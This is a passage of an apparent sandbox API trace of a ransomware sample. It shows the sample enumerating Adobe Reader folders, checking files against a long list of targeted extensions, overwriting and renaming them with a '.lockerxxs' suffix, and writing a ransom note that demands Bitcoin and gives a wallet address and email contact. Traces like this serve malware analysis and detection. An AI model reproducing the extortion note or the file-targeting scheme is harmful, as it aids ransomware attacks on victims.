10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.pfx") returned 0 [0069.163] lstrlenA (lpString="*.pfx") returned 5 [0069.163] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.pem") returned 0 [0069.163] lstrlenA (lpString="*.pem") returned 5 [0069.163] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.p12") returned 0 [0069.163] lstrlenA (lpString="*.p12") returned 5 [0069.163] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.gpg") returned 0 [0069.163] lstrlenA (lpString="*.gpg") returned 5 [0069.163] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.vsd") returned 0 [0069.163] lstrlenA (lpString="*.vsd") returned 5 [0069.163] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.odg") returned 0 [0069.163] lstrlenA (lpString="*.odg") returned 5 [0069.163] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.raw") returned 0 [0069.163] lstrlenA (lpString="*.raw") returned 5 [0069.163] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.nef") returned 0 [0069.163] lstrlenA (lpString="*.nef") returned 5 [0069.163] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.svg") returned 0 [0069.163] lstrlenA (lpString="*.svg") returned 5 [0069.163] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.psd") returned 0 [0069.163] lstrlenA (lpString="*.psd") returned 5 [0069.163] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.vmx") returned 0 [0069.163] lstrlenA (lpString="*.vmx") returned 5 [0069.163] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.vmdk") returned 0 [0069.163] lstrlenA (lpString="*.vmdk") returned 6 [0069.163] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.vdi") returned 0 [0069.163] lstrlenA (lpString="*.vdi") returned 5 [0069.163] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.lay6") returned 0 [0069.163] lstrlenA (lpString="*.lay6") returned 6 [0069.163] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.mpeg") returned 0 [0069.164] lstrlenA (lpString="*.mpeg") returned 6 [0069.164] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.djvu") returned 0 [0069.164] lstrlenA (lpString="*.djvu") returned 6 [0069.164] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.tiff") returned 0 [0069.164] lstrlenA (lpString="*.tiff") returned 6 [0069.164] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.backup") returned 0 [0069.164] lstrlenA (lpString="*.backup") returned 8 [0069.164] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.pdf") returned 1 [0069.164] lstrlenA (lpString="*.pdf") returned 5 [0069.164] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf" [0069.164] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf" [0069.164] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf." [0069.164] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf.lockerxxs" [0069.164] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sve\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0069.165] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x11c35 [0069.165] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x9640cd00, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x80600540, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x9640cd00, dwHighDateTime=0x1cb84b4)) returned 1 [0069.165] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0069.166] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x11c0f, lpOverlapped=0x0) returned 1 [0069.168] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf") returned="DefaultID.pdf" [0069.169] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0069.169] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x11c0f, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x11c0f, lpOverlapped=0x0) returned 1 [0069.169] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0069.169] CloseHandle (hObject=0x94) returned 1 [0069.171] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sve\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sve\\defaultid.pdf.lockerxxs")) returned 1 [0069.171] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80600540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11c35, dwReserved0=0xec0003ef, dwReserved1=0x4e00c4, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 0 [0069.172] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0069.172] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x809de900, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7008, dwReserved1=0x3, cFileName="TUR", cAlternateFileName="")) returned 1 [0069.172] lstrcmpA (lpString1=".", lpString2="TUR") returned -1 [0069.172] lstrcmpA (lpString1="..", lpString2="TUR") returned -1 [0069.172] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\*.*") returned="*.*" [0069.172] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\", lpString2="TUR" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR" [0069.172] lstrlenA (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR") returned 63 [0069.172] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x809de900, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xed0003ee, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502658 [0069.173] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0069.173] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x809de900, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4e0000, cFileName="..", cAlternateFileName="")) returned 1 [0069.173] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0069.173] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0069.173] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49db0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0069.173] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0069.173] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AdobeID.pdf") returned 1 [0069.174] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AdobeID.pdf") returned 1 [0069.174] lstrcmpiA (lpString1="", lpString2="AdobeID.pdf") returned -1 [0069.174] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\*.*") returned="*.*" [0069.174] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\" [0069.174] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\") returned="" [0069.174] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\HOW TO DECRYPT FILES.txt" [0069.174] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\tur\\how to decrypt files.txt")) returned 0xffffffff [0069.174] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\tur\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0069.174] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0069.174] WriteFile (in: hFile=0x94, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0069.175] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0069.175] CloseHandle (hObject=0x94) returned 1 [0069.176] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\", lpString2="AdobeID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf" [0069.176] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.ems") returned 0 [0069.176] lstrlenA (lpString="*.ems") returned 5 [0069.176] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.db") returned 0 [0069.176] lstrlenA (lpString="*.db") returned 4 [0069.176] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.dbf") returned 0 [0069.176] lstrlenA (lpString="*.dbf") returned 5 [0069.176] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.myox") returned 0 [0069.176] lstrlenA (lpString="*.myox") returned 6 [0069.176] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.myo") returned 0 [0069.176] lstrlenA (lpString="*.myo") returned 5 [0069.176] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.qbw") returned 0 [0069.176] lstrlenA (lpString="*.qbw") returned 5 [0069.176] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.qbb") returned 0 [0069.176] lstrlenA (lpString="*.qbb") returned 5 [0069.176] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.qbm") returned 0 [0069.176] lstrlenA (lpString="*.qbm") returned 5 [0069.176] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.qbo") returned 0 [0069.176] lstrlenA (lpString="*.qbo") returned 5 [0069.176] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.qbx") returned 0 [0069.176] lstrlenA (lpString="*.qbx") returned 5 [0069.177] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.qba") returned 0 [0069.177] lstrlenA (lpString="*.qba") returned 5 [0069.177] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.qby") returned 0 [0069.177] lstrlenA (lpString="*.qby") returned 5 [0069.177] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.qbj") returned 0 [0069.177] lstrlenA (lpString="*.qbj") returned 5 [0069.177] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.ofx") returned 0 [0069.177] lstrlenA (lpString="*.ofx") returned 5 [0069.177] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.qif") returned 0 [0069.177] lstrlenA (lpString="*.qif") returned 5 [0069.177] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.mye") returned 0 [0069.177] lstrlenA (lpString="*.mye") returned 5 [0069.177] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.mbox") returned 0 [0069.177] lstrlenA (lpString="*.mbox") returned 6 [0069.177] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.eml") returned 0 [0069.177] lstrlenA (lpString="*.eml") returned 5 [0069.177] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.pst") returned 0 [0069.177] lstrlenA (lpString="*.pst") returned 5 [0069.177] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.ost") returned 0 [0069.177] lstrlenA (lpString="*.ost") returned 5 [0069.177] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.idx") returned 0 [0069.177] lstrlenA (lpString="*.idx") returned 5 [0069.177] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.dbx") returned 0 [0069.177] lstrlenA (lpString="*.dbx") returned 5 [0069.177] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.sql") returned 0 [0069.177] lstrlenA (lpString="*.sql") returned 5 [0069.177] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.mdb") returned 0 [0069.178] lstrlenA (lpString="*.mdb") returned 5 [0069.178] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.fdb") returned 0 [0069.178] lstrlenA (lpString="*.fdb") returned 5 [0069.178] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.wab") returned 0 [0069.178] lstrlenA (lpString="*.wab") returned 5 [0069.178] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.dat") returned 0 [0069.178] lstrlenA (lpString="*.dat") returned 5 [0069.178] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.txt") returned 0 [0069.178] lstrlenA (lpString="*.txt") returned 5 [0069.178] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.jpeg") returned 0 [0069.178] lstrlenA (lpString="*.jpeg") returned 6 [0069.178] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.jpg") returned 0 [0069.178] lstrlenA (lpString="*.jpg") returned 5 [0069.178] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.png") returned 0 [0069.178] lstrlenA (lpString="*.png") returned 5 [0069.178] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.php") returned 0 [0069.178] lstrlenA (lpString="*.php") returned 5 [0069.178] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.cs") returned 0 [0069.178] lstrlenA (lpString="*.cs") returned 4 [0069.178] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.cpp") returned 0 [0069.178] lstrlenA (lpString="*.cpp") returned 5 [0069.178] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.rar") returned 0 [0069.178] lstrlenA (lpString="*.rar") returned 5 [0069.178] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.zip") returned 0 [0069.178] lstrlenA (lpString="*.zip") returned 5 [0069.178] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.html") returned 0 [0069.178] lstrlenA (lpString="*.html") returned 6 [0069.178] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.htm") returned 0 [0069.179] lstrlenA (lpString="*.htm") returned 5 [0069.179] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.xlsx") returned 0 [0069.179] lstrlenA (lpString="*.xlsx") returned 6 [0069.179] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.xls") returned 0 [0069.179] lstrlenA (lpString="*.xls") returned 5 [0069.179] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.mp4") returned 0 [0069.179] lstrlenA (lpString="*.mp4") returned 5 [0069.179] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.ppt") returned 0 [0069.179] lstrlenA (lpString="*.ppt") returned 5 [0069.179] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.pptx") returned 0 [0069.179] lstrlenA (lpString="*.pptx") returned 6 [0069.179] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.doc") returned 0 [0069.179] lstrlenA (lpString="*.doc") returned 5 [0069.179] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.dot") returned 0 [0069.179] lstrlenA (lpString="*.dot") returned 5 [0069.179] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.docx") returned 0 [0069.179] lstrlenA (lpString="*.docx") returned 6 [0069.179] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.7z") returned 0 [0069.179] lstrlenA (lpString="*.7z") returned 4 [0069.179] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.tar") returned 0 [0069.179] lstrlenA (lpString="*.tar") returned 5 [0069.179] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.bz2") returned 0 [0069.179] lstrlenA (lpString="*.bz2") returned 5 [0069.179] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.gz") returned 0 [0069.179] lstrlenA (lpString="*.gz") returned 4 [0069.179] PathMatchSpecA 